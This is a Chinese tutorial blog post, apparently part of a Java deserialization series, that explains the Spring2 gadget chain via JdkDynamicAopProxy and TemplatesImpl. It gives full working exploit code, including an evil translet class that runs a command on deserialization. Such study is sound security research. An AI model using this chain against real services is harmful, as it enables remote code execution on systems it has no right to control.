当前位置: 首页 > article >正文

JAVA反序列化深入学习(十三):Spring2

让我们回到Spring

Spring2 在 Spring1 的触发链上有所变换:

  • 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler
  • 使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程

简而言之,换了一个chain,而kick-off和sink都没有变动

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • spring-core 依赖版本:4.1.4.RELEASE
  • spring-aop 依赖版本:4.1.4.RELEASE
  • jdk 版本:1.7

检查依赖配置

确认项目中是否正确引入了

  • spring-core
  • spring-aop

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.1.4.RELEASE</version>
</dependency>

资源下载

  • maven spring-aop 4.1.4.RELEASE
  • maven spring-core 4.1.4.RELEASE
  • Java7 下载
  • Spring框架 v4.1.4.RELEASE 源码

前置知识

JdkDynamicAopProxy - chain

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了

  • AopProxy 接口
  • InvocationHandler接口
  • Serializable 接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {...
}
invoke

我们来看一下 invoke 方法:

  1. 获取 AdvisedSupport 里的 TargetSource
  2. 调用 getTarget() 方法返回其中的对象
  3. 调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {MethodInvocation invocation;Object oldProxy = null;boolean setProxyContext = false;TargetSource targetSource = this.advised.targetSource;Class<?> targetClass = null;Object target = null;try {...// May be null. Get as late as possible to minimize the time we "own" the target,// in case it comes from a pool.target = targetSource.getTarget();if (target != null) {targetClass = target.getClass();}// Get the interception chain for this method.List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);// Check whether we have any advice. If we don't, we can fallback on direct// reflective invocation of the target, and avoid creating a MethodInvocation.if (chain.isEmpty()) {// We can skip creating a MethodInvocation: just invoke the target directly// Note that the final invoker must be an InvokerInterceptor so we know it does// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);}else {// We need to create a method invocation...invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);// Proceed to the joinpoint through the interceptor chain.retVal = invocation.proceed();}...}return retVal;...
}
AopUtils#invokeJoinpointUsingReflection

AopUtils#invokeJoinpointUsingReflection() 方法里就是简单的反射调用,核心步骤就是:

  1. ReflectionUtils.makeAccessible(method);将方法设为可用
  2. method.invoke(target, args);传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)throws Throwable {// Use reflection to invoke the method.try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}...
}

由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类能出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链

攻击构造

与 Spring1 类似,如果忘记了Spring1的内容,建议先看一下之前这篇文章

JAVA反序列化深入学习(十一):Spring1

恶意代码主体

与Spring1几乎一致,不再赘述

public void Spring2() throws Exception {// 生成包含恶意类字节码的 TemplatesImpl 类TemplatesImpl tmpl = generateTemplatesImpl();// 使用 AnnotationInvocationHandler 动态代理Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = c.getDeclaredConstructors()[0];constructor.setAccessible(true);Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);Object objects = TypeProvider(constructor, typeTemplateProxy);writeObjectToFile((Serializable)objects, fileName);readFileObject(fileName);
}

恶意TemplatesImpl构造

生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述

protected TemplatesImpl generateTemplatesImpl()  throws IOException, NoSuchFieldException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));// 初始化 TemplatesImpl 对象TemplatesImpl tmpl = new TemplatesImpl();Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");return tmpl;
}

恶意类构造

跟之前的都类似,不再赘述

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;public class EvilClassForSpring2 extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {// No implementation needed}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {// No implementation needed}
}

JdkDynamicAopProxy

与Spring1的ObjectFactoryDelegatingInvocationHandler类似,简单描述一下过程:

  1. 实例化 AdvisedSupport
  2. TargetSource 设置为 tmpl,使getTarget方法返回 TemplatesImpl
  3. JdkDynamicAopProxy 的 invoke 方法触发 TargetSourcegetTarget,并且会调用 method.invoke(getTarget的返回值,args)
    1. 此时返回值被在第2步我们使用动态代理改为了 TemplatesImpl
    2. 接下来需要 method 是 newTransformer(),就可以触发调用链了
  4. 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
    1. JdkDynamicAopProxy 本身就是个 InvocationHandler
      1. 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
    2. JdkDynamicAopProxy代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
      1. 代理类同时拥有两个类的方法
      2. 既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {// 实例化 AdvisedSupportAdvisedSupport as = new AdvisedSupport();as.setTarget(tmpl);// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];aopConstructor.setAccessible(true);// 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxyInvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);// JdkDynamicAopProxy 本身就是个 InvocationHandler// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, aopProxy);return typeTemplateProxy;
}
与Spring1的差异

在Spring1,通过 AnnotationInvocationHandler 来将 getObject 的返回值设置为 TemplatesImpl

Map<String, Object> map = new HashMap<String, Object>();map.put("getObject", tmpl);// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

而Spring2则是通过实例化AdvisedSupport,并直接将其TargetSource 设置为 tmpl,从而实现将 getTarget 的返回值设置为 TemplatesImpl

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

而其他部分的代码都类似,可见这里就是核心差异点

TypeProvider

与Spring1一致,没有变动,不再赘述

protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类HashMap<String, Object> map = new HashMap<>();map.put("getType", typeTemplateProxy);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxyObject typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler);// 初始化 MethodInvokeTypeProviderClass<?>       clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> cons   = clazz.getDeclaredConstructors()[0];cons.setAccessible(true);// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);Field  field   = clazz.getDeclaredField("methodName");field.setAccessible(true);field.set(objects, "newTransformer");return objects;
}

总结

以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下

利用说明

使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链

Gadget 总结

  • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget:org.springframework.aop.framework.JdkDynamicAopProxy#invoke

调用链展示

SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()JdkDynamicAopProxy.invoke()AopUtils.invokeJoinpointUsingReflection()TemplatesImpl.newTransformer()
  • Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八

相关文章:

JAVA反序列化深入学习(十三):Spring2

让我们回到Spring Spring2 在 Spring1 的触发链上有所变换&#xff1a; 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler使用了 spring-aop 的 JdkDynamicAopProxy &#xff0c;并完成了后续触发 TemplatesImpl 的流程 简而言之&#xff0c;换了一个chain&am…...

Matlab:三维绘图

目录 1.三维曲线绘图命令&#xff1a;plot3 实例——绘制空间直线 实例——绘制三角曲线 2.三维曲线绘图命令&#xff1a;explot3 3.三维网格命令&#xff1a;mesh 实例——绘制网格面 实例——绘制山峰曲面 实例——绘制函数曲线 1.三维曲线绘图命令&#xff1a;plot3 …...

学透Spring Boot — 016. 魔术师 - Spring MVC Conversion Service 类型转换

本文是我的《学透Spring Boot》专栏的第16篇文章&#xff0c;了解更多请移步我的专栏&#xff1a; Postnull的专栏《学透Spring Boot》 目录 遇到问题 日期格式的转换 实现需求 创建转换器 注册转换器 编写Controller 访问测试 存在的问题 解决问题 源码分析 总结 …...

Spring Boot开发三板斧:高效构建企业级应用的核心技法

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、CSDN平台优质创作者&#xff0c;获得2024年博客之星荣誉证书&#xff0c;高级开发工程师&#xff0c;数学专业&#xff0c;拥有高级工程师证书&#xff1b;擅长C/C、C#等开发语言&#xff0c;熟悉Java常用开发技术&#xff0c…...

人脸考勤管理一体化系统(人脸识别系统,签到打卡)

人脸考勤管理一体化系统 项目介绍 本项目是基于Flask、SQLAlchemy、face_recognition库的人脸考勤管理一体化系统。 系统通过人脸识别技术实现员工考勤打卡、人脸信息采集、人脸模型训练等功能。 项目采用前后端分离的技术框架&#xff0c;基于Flask轻量级Web框架搭建后端服务…...

大数据(4.3)Hive基础查询完全指南:从SELECT到复杂查询的10大核心技巧

目录 背景一、Hive基础查询核心语法1. 基础查询&#xff08;SELECT & FROM&#xff09;2. 条件过滤&#xff08;WHERE&#xff09;3. 聚合与分组&#xff08;GROUP BY & HAVING&#xff09;4. 排序与限制&#xff08;ORDER BY & LIMIT&#xff09; 二、复杂查询实战…...

手搓多模态-03 顶层和嵌入层的搭建

声明&#xff1a;本代码非原创&#xff0c;是博主跟着国外大佬的视频教程编写的&#xff0c;本博客主要为记录学习成果所用。 我们首先开始编写视觉模型这一部分&#xff0c;这一部分的主要功能是接收一个batch的图像&#xff0c;并将其转化为上下文相关的嵌入向量&#xff0c;…...

【经验分享】将qt的ui文件转换为py文件

&#x1f31f; 嗨&#xff0c;我是命运之光&#xff01; &#x1f30d; 2024&#xff0c;每日百字&#xff0c;记录时光&#xff0c;感谢有你一路同行。 &#x1f680; 携手启航&#xff0c;探索未知&#xff0c;激发潜能&#xff0c;每一步都意义非凡。 首先简单的设计一个U…...

常用的国内镜像源

常见的 pip 镜像源 阿里云镜像&#xff1a;https://mirrors.aliyun.com/pypi/simple/ 清华大学镜像&#xff1a;https://pypi.tuna.tsinghua.edu.cn/simple 中国科学技术大学镜像&#xff1a;https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣镜像&#xff1a;https://pypi.doub…...

探秘JVM内部

在我们编写Java代码&#xff0c;点击运行后&#xff0c;会发生什么事呢&#xff1f; 首先&#xff0c;Java源代码会经过Java编译器将其编译成字节码&#xff0c;放在.class文件中 然后这些字节码文件就会被加载到jvm中&#xff0c;然后jvm会读取这些文件&#xff0c;调用相关…...

在HarmonyOS NEXT 开发中,如何指定一个号码,拉起系统拨号页面

大家好&#xff0c;我是 V 哥。 《鸿蒙 HarmonyOS 开发之路 卷1 ArkTS篇》已经出版上市了哈&#xff0c;有需要的朋友可以关注一下&#xff0c;卷2应用开发篇也马上要出版了&#xff0c;V 哥正在紧锣密鼓的写鸿蒙开发实战卷3的教材&#xff0c;卷3主要以项目实战为主&#xff0…...

利用空间-运动-回波稀疏性进行5D图像重建,以实现自由呼吸状态下肝脏定量磁共振成像(MRI)的加速采集|文献速递--深度学习医疗AI最新文献

Title 题目 5D image reconstruction exploiting space-motion-echo sparsity foraccelerated free-breathing quantitative liver MRI 利用空间-运动-回波稀疏性进行5D图像重建&#xff0c;以实现自由呼吸状态下肝脏定量磁共振成像&#xff08;MRI&#xff09;的加速采集 …...

Qt5 Mac系统检查休眠

在开发跨平台应用程序时,有时候我们需要检测系统的状态,比如是否处于休眠或唤醒状态。Qt是一个强大的跨平台应用开发框架,支持多种操作系统,包括Windows、Linux、macOS等。在这个场景下,我们关注的是如何在Qt5.10中检测到系统是否休眠以及在Mac上实现这一功能。本文将深入…...

ZKmall开源商城B2B2C电商用户隐私信息保护策略:数据脱敏全链路实践

随着业务的不断拓展和用户规模的持续扩大&#xff0c;用户隐私信息的保护也面临着前所未有的挑战。下面将深入探讨ZKmall开源商城在数据脱敏方面的实践&#xff0c;以及针对B2B2C电商用户隐私信息的具体保护策略。 数据脱敏&#xff0c;又称数据去标识化或数据匿名化&#xff0…...

Media streaming mental map

Media streaming is a huge topic with a bunch of scattered technologies, protocols, and formats. You may feel like hearing fragments without seeing the big picture. Let’s build that mental map together — here’s a high-level overview that connects everyt…...

linux Gitkraken 破解

ubuntu 安装 Gitkraken 9.x Pro 版本_gitcracken.git-CSDN博客...

SSL证书颁发机构有哪些呢

证书颁发机构&#xff08;Certificate Authority, CA&#xff09;是负责签发和管理数字证书的权威机构&#xff0c;分为公共信任的 CA 和私有/内部 CA。以下是常见的公共信任的 CA 分类及代表机构&#xff1a; 1. 国际知名公共 CA&#xff08;浏览器/操作系统默认信任&#xff…...

13_pandas可视化_seaborn

导入库 import numpy as np import pandas as pd # import matplotlib.pyplot as plt #交互环境中不需要导入 import seaborn as sns sns.set_context({figure.figsize:[8, 6]}) # 设置图大小 # 屏蔽警告 import warnings warnings.filterwarnings("ignore")关系图 …...

Pgvector的安装

Pgvector的安装 向量化数据的存储&#xff0c;可以为 PostgreSQL 安装 vector 扩展来存储向量化数据 注意&#xff1a;在安装vector扩展之前&#xff0c;请先安装Postgres数据库 vector 扩展的步骤 1、下载vs_BuildTools 下载地址&#xff1a; https://visualstudio.microso…...

如何在大型项目中组织和管理 Vue 3 Hooks?

众所周知,Vue Hooks(通常指 Composition API 中的功能)是 Vue 3 引入的一种代码组织方式,用于更灵活地组合和复用逻辑。但是在项目中大量使用这种写法该如何更好的搭建结构呢?以下是可供参考实践的案例。 一、Hooks 组织原则 单一职责每个 Hook 应专注于完成单一功能,避…...

Django接入 免费的 AI 大模型——讯飞星火(2025年4月最新!!!)

上文有介绍deepseek接入&#xff0c;但是需要 付费&#xff0c;虽然 sliconflow 可以白嫖 token&#xff0c;但是毕竟是有限的&#xff0c;本文将介绍一款完全免费的 API——讯飞星火 目录 接入讯飞星火&#xff08;免费&#xff09; 测试对话 接入Django 扩展建议 接入讯飞星火…...

路由器学习

路由器原理 可以理解成把不同的网络打通&#xff0c;实现通信的设备。比如家里的路由器&#xff0c;他就是把家里的内网和互联网&#xff08;外网&#xff09;打通。 分类 1.&#xff08;按应用场景分类&#xff09; 路由器分为家用的&#xff0c;企业级的&#xff0c;运营…...

Redis 连接:深入解析与优化实践

Redis 连接:深入解析与优化实践 引言 Redis 作为一款高性能的键值型数据库,广泛应用于缓存、会话存储、消息队列等领域。Redis 的连接管理是确保其性能和稳定性的关键。本文将深入探讨 Redis 连接的原理、配置、优化方法以及常见问题,帮助您更好地掌握 Redis 连接技术。 …...

UE5学习记录part14

第17节 enemy behavior 173 making enemies move: AI Pawn Navigation 按P查看体积 So its very important that our nav mesh bounds volume encompasses all of the area that wed like our 因此&#xff0c;我们的导航网格边界体积必须包含我们希望 AI to navigate in and …...

【中间件】使用ElasticSearch提供的RestClientAPI操作ES

一、简介 ElasticSearch提供了RestClient来操作ES&#xff0c;包括对数据的增删改查&#xff0c;可参照官方文档&#xff1a;Java High Level REST Client 二、使用步骤&#xff1a; 可参照官方文档操作 导包 <dependency><groupId>org.elasticsearch.client<…...

Docker的备份与恢复

一、两种基本方式 docker export / import 在服务器上导出容器docker export container_name > container_backup.tar这里使用 > 重定向时默认保存路径为当前运行命令的路径&#xff0c;可以自行指定绝对路径来保存&#xff0c;后续加载时也使用对应的路径即可。 恢复为…...

C++ string 对象的操作(三十五)

1. string 对象的常见操作 下面的表格列出了 string 类型最常用的一些操作以及它们的功能&#xff1a; 操作说明示例os << s将字符串对象 s 写入输出流 os&#xff0c;返回 os。std::cout << s;is >> s从输入流 is 中读取字符串赋给 s&#xff08;以空白分…...

DAPP实战篇:规划下我们的开发线路

前言 在DApp实战篇&#xff1a;先用前端起个项目一文中我们起了一个前端项目&#xff0c;在后续开发中笔者将带领大家一步步完成这个DAPP&#xff0c;为了方便后续讲解&#xff0c;本篇将完整说明后续我们要进行的开发和思路。 主打前端 实际上一个完整的DAPP是由前端和智能…...

[leetcode] 面试经典 150 题——篇9:二叉树(番外:二叉树的遍历方式)

二叉树的遍历是指按照某种顺序访问二叉树中的每个节点。常见的遍历方式有四种&#xff1a;前序遍历&#xff08;Pre-order Traversal&#xff09;、中序遍历&#xff08;In-order Traversal&#xff09;、后序遍历&#xff08;Post-order Traversal&#xff09;以及层序遍历&am…...

【Elasticsearch】开启大数据分析的探索与预处理之旅

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/literature?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;…...